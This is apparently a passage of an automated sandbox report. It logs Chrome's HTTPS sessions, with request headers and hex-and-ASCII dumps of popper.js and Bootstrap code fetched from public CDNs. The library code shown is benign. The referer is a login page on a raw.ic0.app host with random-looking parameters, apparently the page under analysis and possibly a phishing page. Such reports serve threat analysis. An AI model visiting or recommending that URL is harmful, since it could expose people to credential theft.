
2022-07-01 17:36:50 UTC 296 IN Data Raw: 64 28 29 29 7b 6f 26 26 28 6e 3d 74 28 6f 29 5b 30 5d 29 2c 74 68 69 73 2e 5f 61 63 74 69 76 61 74 65 28 74 
68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 73 29 3b 76 61 72 20 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 
74 2e 45 76 65 6e 74 28 72 2e 48 49 44 44 45 4e 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 65 2e 5f 65 6c 65 6d 
65 6e 74 7d 29 2c 73 3d 74 2e 45 76 65 6e 74 28 72 2e 53 48 4f 57 4e 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 6
9 7d 29 3b 74 28 69 29 2e 74 72 69 67 67 65 72 28 6e 29 2c 74 28 65 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 
72 28 73 29 7d 3b 6e 3f 74 68 69 73 2e 5f 61 63 74 69 76 61 74 65 28 6e 2c 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 
29 3a 67 28 29 7d 7d 7d 2c 69 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 
Data Ascii: d()){o&&(n=t(o)[0]),this._activate(this._element,s);var g=function(){var n=t.Event(r.HIDDEN,{relatedTarget:e
._element}),s=t.Event(r.SHOWN,{relatedTarget:i});t(i).trigger(n),t(e._element).trigger(s)};n?this._activate(n,n.parentNo
de,g):g()}}},i.dispose=func

2022-07-01 17:36:50 UTC 297 IN Data Raw: 6e 74 44 65 66 61 75 6c 74 28 29 2c 76 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 
74 28 74 68 69 73 29 2c 22 73 68 6f 77 22 29 7d 29 2c 74 2e 66 6e 2e 74 61 62 3d 76 2e 5f 6a 51 75 65 72 79 49 6e 74 
65 72 66 61 63 65 2c 74 2e 66 6e 2e 74 61 62 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 76 2c 74 2e 66 6e 2e 74 61 62 2e 
6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 2e 74 61 62 3d 69 2
c 76 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 76 7d 28 65 29 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 
69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 
45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 
Data Ascii: ntDefault(),v._jQueryInterface.call(t(this),"show")}),t.fn.tab=v._jQueryInterface,t.fn.tab.Constructor=v,t.f
n.tab.noConflict=function(){return t.fn.tab=i,v._jQueryInterface},v}(e);!function(t){if("undefined"==typeof t)throw new 
TypeError("Bootstrap's Java

2022-07-01 17:36:50 UTC 298 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

7 192.168.2.3 49757 104.17.24.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:50 UTC 228 OUT GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1
Host: cdnjs.cloudflare.com
Connection: keep-alive
Origin: https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Referer: https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/login.html?okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhw
h=Pu55NB1yr2jpvYRqSE&plpb=azaaxBfNMnkncPlD1dbKCjabbV&pepwe=NNmUbBHh57IDtuVbpJCTiLbygyk
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-07-01 17:36:50 UTC 229 IN HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 17:36:50 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=30672000
ETag: W/"5eb03fa9-4af4"
Last-Modified: Mon, 04 May 2020 16:15:37 GMT
cf-cdnjs-via: cfworker/kv
Cross-Origin-Resource-Policy: cross-origin
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
CF-Cache-Status: HIT
Age: 1279272
Expires: Wed, 21 Jun 2023 17:36:50 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dexUpkz3w%2FsLhLsGs9i1F7p2wIGNds
w9F57Bi60l64ajDPMTrS1HMQsKtjB1Pb7i8Cax0kjoM1t3KqPcbF5Q8nKDnT6JcugMcFa9A8TZ35PfgxnGJkI6E3vH
gdMDcnb9I%2FkdADFF"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=15780000
Server: cloudflare
CF-RAY: 7240e7fb5d33911f-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-07-01 17:36:50 UTC 230 IN Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 
6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 
65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 
75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 
29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 
21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 
74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 
Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://ope
nsource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'fun
ction'==typeof define&

2022-07-01 17:36:50 UTC 230 IN Data Raw: 29 7d 29 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 66 75 6e 
63 74 69 6f 6e 20 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 27 5b 6f 62 6a 65 63 74 20 46 75 6e 63 74 69 6f 6e 5d 
27 3d 3d 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 
7b 69 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6
d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 
74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 
70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 
Data Ascii: )})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(
1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?
e:e.parentNode||e.host}fun

2022-07-01 17:36:50 UTC 232 IN Data Raw: 3d 3d 3d 69 29 7b 76 61 72 20 6e 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 
45 6c 65 6d 65 6e 74 2c 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 73 63 72 6f 6c 6c 69 6e 67 45 6c 65 6d 65 
6e 74 7c 7c 6e 3b 72 65 74 75 72 6e 20 72 5b 6f 5d 7d 72 65 74 75 72 6e 20 65 5b 6f 5d 7d 66 75 6e 63 74 69 6f 6e 20 6c 
28 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 
3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 
27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 
69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 
Data Ascii: ===i){var n=e.ownerDocument.documentElement,r=e.ownerDocument.scrollingElement||n;return r[o]}return 
e[o]}function l(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:
1;return e.top+=i*r,e.bottom+=i*r,e.l

2022-07-01 17:36:50 UTC 233 IN Data Raw: 4d 4c 27 3d 3d 3d 6f 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 67 28 65 29 2c 73 3d 67 28 6f 29 2c 64 3d 6e 28 65 
29 2c 61 3d 74 28 6f 29 2c 66 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 2c 31 
30 29 2c 6d 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 62 6f 72 64 65 72 4c 65 66 74 57 69 64 74 68 2c 31 30 29 2c 68 
3d 63 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 
2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 
2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 7
5 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 
Data Ascii: ML'===o.nodeName,p=g(e),s=g(o),d=n(e),a=t(o),f=parseFloat(a.borderTopWidth,10),m=parseFloat(a.bord
erLeftWidth,10),h=c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLef
t=0,!i&&r){var u=parseFloat(a.marginT

2022-07-01 17:36:50 UTC 234 IN Data Raw: 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 27 61 75 74 6f 27 29 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 70 3d 
79 28 6f 2c 69 2c 72 2c 6e 29 2c 73 3d 7b 74 6f 70 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 
3a 74 2e 74 6f 70 2d 70 2e 74 6f 70 7d 2c 72 69 67 68 74 3a 7b 77 69 64 74 68 3a 70 2e 72 69 67 68 74 2d 74 2e 72 69 
67 68 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 6
4 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 6
8 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 
63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 
Data Ascii: ===e.indexOf('auto'))return e;var p=y(o,i,r,n),s={top:{width:p.width,height:t.top-p.top},right:{width:p.right-t.right,
height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.ke
ys(s).map(functio

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 17:36:50 UTC 236 IN Data Raw: 64 65 78 4f 66 28 69 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 6f 2c 69 29 7b 76 61 72 20 6e 3d 76 6f 69 
64 20 30 3d 3d 3d 69 3f 74 3a 74 2e 73 6c 69 63 65 28 30 2c 44 28 74 2c 27 6e 61 6d 65 27 2c 69 29 29 3b 72 65 74 75 
72 6e 20 6e 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 26 
26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 
70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 
27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 
66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 
Data Ascii: dexOf(i)}function C(t,o,i){var n=void 0===i?t:t.slice(0,D(t,'name',i));return n.forEach(function(t){t['funct
ion']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']||t.fn;t.enabled&&e(i)&&
(o.offsets.popper=c(o.offse

2022-07-01 17:36:50 UTC 237 IN Data Raw: 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 
65 72 2e 73 74 79 6c 65 2e 74 6f 70 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 5b 57 28 27 74 72 
61 6e 73 66 6f 72 6d 27 29 5d 3d 27 27 29 2c 74 68 69 73 2e 64 69 73 61 62 6c 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 
72 73 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 
70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 
72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6
d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 
Data Ascii: s.popper.style.position='',this.popper.style.top='',this.popper.style[W('transform')]=''),this.disableEventL
isteners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var 
t=e.ownerDocument;return t?t.defaul

2022-07-01 17:36:50 UTC 238 IN Data Raw: 7b 76 61 72 20 69 3d 74 5b 6f 5d 3b 21 31 3d 3d 3d 69 3f 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 
28 6f 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 2c 74 5b 6f 5d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 
65 2c 74 2c 6f 29 7b 76 61 72 20 69 3d 54 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 65 2e 6e 61 6d 
65 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 
28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 
65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 7
3 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 
Data Ascii: {var i=t[o];!1===i?e.removeAttribute(o):e.setAttribute(o,t[o])})}function F(e,t,o){var i=T(e,function(e){var 
o=e.name;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`
';console.warn('`'+o+'`'+' 

2022-07-01 17:36:50 UTC 240 IN Data Raw: 61 74 28 70 2e 73 6c 69 63 65 28 73 2b 31 29 29 5d 3b 72 65 74 75 72 6e 20 61 3d 61 2e 6d 61 70 28 66 75 
6e 63 74 69 6f 6e 28 65 2c 69 29 7b 76 61 72 20 6e 3d 28 31 3d 3d 3d 69 3f 21 72 3a 72 29 3f 27 68 65 69 67 68 74 27 
3a 27 77 69 64 74 68 27 2c 70 3d 21 31 3b 72 65 74 75 72 6e 20 65 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 
65 2c 74 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 
27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 
2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 
74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 
Data Ascii: at(p.slice(s+1))];return a=a.map(function(e,i){var n=(1===i?!r:r)?'height':'width',p=!1;return e.reduce(func
tion(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]
).map(function(e)

2022-07-01 17:36:50 UTC 241 IN Data Raw: 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6f 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 27 76 61 
6c 75 65 27 69 6e 20 6f 26 26 28 6f 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 
72 6f 70 65 72 74 79 28 65 2c 6f 2e 6b 65 79 2c 6f 29 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 2c 69 
29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 
7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 
6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 
61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 
Data Ascii: enumerable||!1,o.configurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return functi
on(t,o,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o
,enumerable:!0,configurable

2022-07-01 17:36:50 UTC 242 IN Data Raw: 69 65 72 73 5b 65 5d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 
20 65 2e 6f 72 64 65 72 2d 74 2e 6f 72 64 65 72 7d 29 2c 74 68 69 73 2e 6d 6f 64 69 66 69 65 72 73 2e 66 6f 72 45 61 63 
68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 74 2e 6f 6e 4c 6f 61 64 29 26 26 74 2e 
6f 6e 4c 6f 61 64 28 6e 2e 72 65 66 65 72 65 6e 63 65 2c 6e 2e 70 6f 70 70 65 72 2c 6e 2e 6f 70 74 69 6f 6e 73 2c 74 2c 
6e 2e 73 74 61 74 65 29 7d 29 2c 74 68 69 73 2e 75 70 64 61 74 65 28 29 3b 76 61 72 20 70 3d 74 68 69 73 2e 6f 70 74 
69 6f 6e 73 2e 65 76 65 6e 74 73 45 6e 61 62 6c 65 64 3b 70 26 26 74 68 69 73 2e 65 6e 61 62 6c 65 45 76 65 6e 74 4c 
69 73 74 65 6e 65 72 73 28 29 2c 74 68 69 73 2e 73 74 61 74 65 
Data Ascii: iers[e])}).sort(function(e,t){return e.order-t.order}),this.modifiers.forEach(function(t){t.enabled&&e(t.onL
oad)&&t.onLoad(n.reference,n.popper,n.options,t,n.state)}),this.update();var p=this.options.eventsEnabled;p&&this.enable
EventListeners(),this.state

2022-07-01 17:36:50 UTC 244 IN Data Raw: 65 29 7b 76 61 72 20 6f 3d 70 5b 65 5d 3b 72 65 74 75 72 6e 20 70 5b 65 5d 3c 69 5b 65 5d 26 26 21 74 2e 65 
73 63 61 70 65 57 69 74 68 52 65 66 65 72 65 6e 63 65 26 26 28 6f 3d 4a 28 70 5b 65 5d 2c 69 5b 65 5d 29 29 2c 70 65 
28 7b 7d 2c 65 2c 6f 29 7d 2c 73 65 63 6f 6e 64 61 72 79 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 27 72 
69 67 68 74 27 3d 3d 3d 65 3f 27 6c 65 66 74 27 3a 27 74 6f 70 27 2c 6e 3d 70 5b 6f 5d 3b 72 65 74 75 72 6e 20 70 5b 65 
5d 3e 69 5b 65 5d 26 26 21 74 2e 65 73 63 61 70 65 57 69 74 68 52 65 66 65 72 65 6e 63 65 26 26 28 6e 3d 5f 28 70 5b 
6f 5d 2c 69 5b 65 5d 2d 28 27 72 69 67 68 74 27 3d 3d 3d 65 3f 70 2e 77 69 64 74 68 3a 70 2e 68 65 69 67 68 74 29 29 2
9 2c 70 65 28 7b 7d 2c 6f 2c 6e 29 7d 7d 3b 72 65 74 75 72 6e 20 
Data Ascii: e){var o=p[e];return p[e]<i[e]&&!t.escapeWithReference&&(o=J(p[e],i[e])),pe({},e,o)},secondary:function(e){var 
o='right'===e?'left':'top',n=p[o];return p[e]>i[e]&&!t.escapeWithReference&&(n=_(p[o],i[e]-('right'===e?p.width:p.hei
ght))),pe({},o,n)}};return 

2022-07-01 17:36:50 UTC 245 IN Data Raw: 29 29 2c 64 5b 6d 5d 2b 75 3e 73 5b 67 5d 26 26 28 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 5b 6d 5d 
2b 3d 64 5b 6d 5d 2b 75 2d 73 5b 67 5d 29 2c 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 65 2e 6f 66 66 
73 65 74 73 2e 70 6f 70 70 65 72 29 3b 76 61 72 20 62 3d 64 5b 6d 5d 2b 64 5b 6c 5d 2f 32 2d 75 2f 32 2c 77 3d 74 28 65 
2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 29 2c 79 3d 70 61 72 73 65 46 6c 6f 61 74 28 77 5b 27 6d 61 72 67 69 
6e 27 2b 66 5d 2c 31 30 29 2c 45 3d 70 61 72 73 65 46 6c 6f 61 74 28 77 5b 27 62 6f 72 64 65 72 27 2b 66 2b 27 57 69 6
4 74 68 27 5d 2c 31 30 29 2c 76 3d 62 2d 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 5b 6d 5d 2d 79 2d 45 3b 72 65 
74 75 72 6e 20 76 3d 4a 28 5f 28 73 5b 6c 5d 2d 75 2c 76 29 2c 30 
Data Ascii: )),d[m]+u>s[g]&&(e.offsets.popper[m]+=d[m]+u-s[g]),e.offsets.popper=c(e.offsets.popper);var b=d[m]+d[l]/2-u/
2,w=t(e.instance.popper),y=parseFloat(w['margin'+f],10),E=parseFloat(w['border'+f+'Width'],10),v=b-e.offsets.popper[m]-y
-E;return v=J(_(s[l]-u,v),0

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 17:36:50 UTC 246 IN Data Raw: 7c 62 7c 7c 79 29 26 26 28 65 2e 66 6c 69 70 70 65 64 3d 21 30 2c 28 6d 7c 7c 62 29 26 26 28 69 3d 70 5b 64 
2b 31 5d 29 2c 79 26 26 28 72 3d 4b 28 72 29 29 2c 65 2e 70 6c 61 63 65 6d 65 6e 74 3d 69 2b 28 72 3f 27 2d 27 2b 72 
3a 27 27 29 2c 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 73 65 28 7b 7d 2c 65 2e 6f 66 66 73 65 74 73 2e 70 6f 
70 70 65 72 2c 53 28 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 2c 65 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 
72 65 6e 63 65 2c 65 2e 70 6c 61 63 65 6d 65 6e 74 29 29 2c 65 3d 43 28 65 2e 69 6e 73 74 61 6e 63 65 2e 6d 6f 64 69 
66 69 65 72 73 2c 65 2c 27 66 6c 69 70 27 29 29 7d 29 2c 65 7d 2c 62 65 68 61 76 69 6f 72 3a 27 66 6c 69 70 27 2c 70 
61 64 64 69 6e 67 3a 35 2c 62 6f 75 6e 64 61 72 69 65 73 45 6c 65 6d 
Data Ascii: |b||y)&&(e.flipped=!0,(m||b)&&(i=p[d+1]),y&&(r=K(r)),e.placement=i+(r?'-'+r:''),e.offsets.popper=se({},e.off
sets.popper,S(e.instance.popper,e.offsets.reference,e.placement)),e=C(e.instance.modifiers,e,'flip'))}),e},behavior:'fli
p',padding:5,boundariesElem

2022-07-01 17:36:50 UTC 248 IN Data Raw: 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 29 2c 66 3d 67 28 6c 29 2c 6d 3d 7b 70 6f 73 69 74 69 6f 6e 3a 
6e 2e 70 6f 73 69 74 69 6f 6e 7d 2c 68 3d 7b 6c 65 66 74 3a 58 28 6e 2e 6c 65 66 74 29 2c 74 6f 70 3a 58 28 6e 2e 74 6f 
70 29 2c 62 6f 74 74 6f 6d 3a 58 28 6e 2e 62 6f 74 74 6f 6d 29 2c 72 69 67 68 74 3a 58 28 6e 2e 72 69 67 68 74 29 7d 2c 
63 3d 27 62 6f 74 74 6f 6d 27 3d 3d 3d 6f 3f 27 74 6f 70 27 3a 27 62 6f 74 74 6f 6d 27 2c 75 3d 27 72 69 67 68 74 27 3d 
3d 3d 69 3f 27 6c 65 66 74 27 3a 27 72 69 67 68 74 27 2c 62 3d 57 28 27 74 72 61 6e 73 66 6f 72 6d 27 29 3b 69 66 28 
64 3d 27 62 6f 74 74 6f 6d 27 3d 3d 63 3f 2d 66 2e 68 65 69 67 68 74 2b 68 2e 62 6f 74 74 6f 6d 3a 68 2e 74 6f 70 2c 73 
3d 27 72 69 67 68 74 27 3d 3d 75 3f 2d 66 2e 77 69 64 74 68 
Data Ascii: instance.popper),f=g(l),m={position:n.position},h={left:X(n.left),top:X(n.top),bottom:X(n.bottom),right:X(n.
right)},c='bottom'===o?'top':'bottom',u='right'===i?'left':'right',b=W('transform');if(d='bottom'==c?-f.height+h.bottom:
h.top,s='right'==u?-f.width

2022-07-01 17:36:50 UTC 249 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

8 192.168.2.3 49760 104.18.10.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:50 UTC 228 OUT GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1
Host: stackpath.bootstrapcdn.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
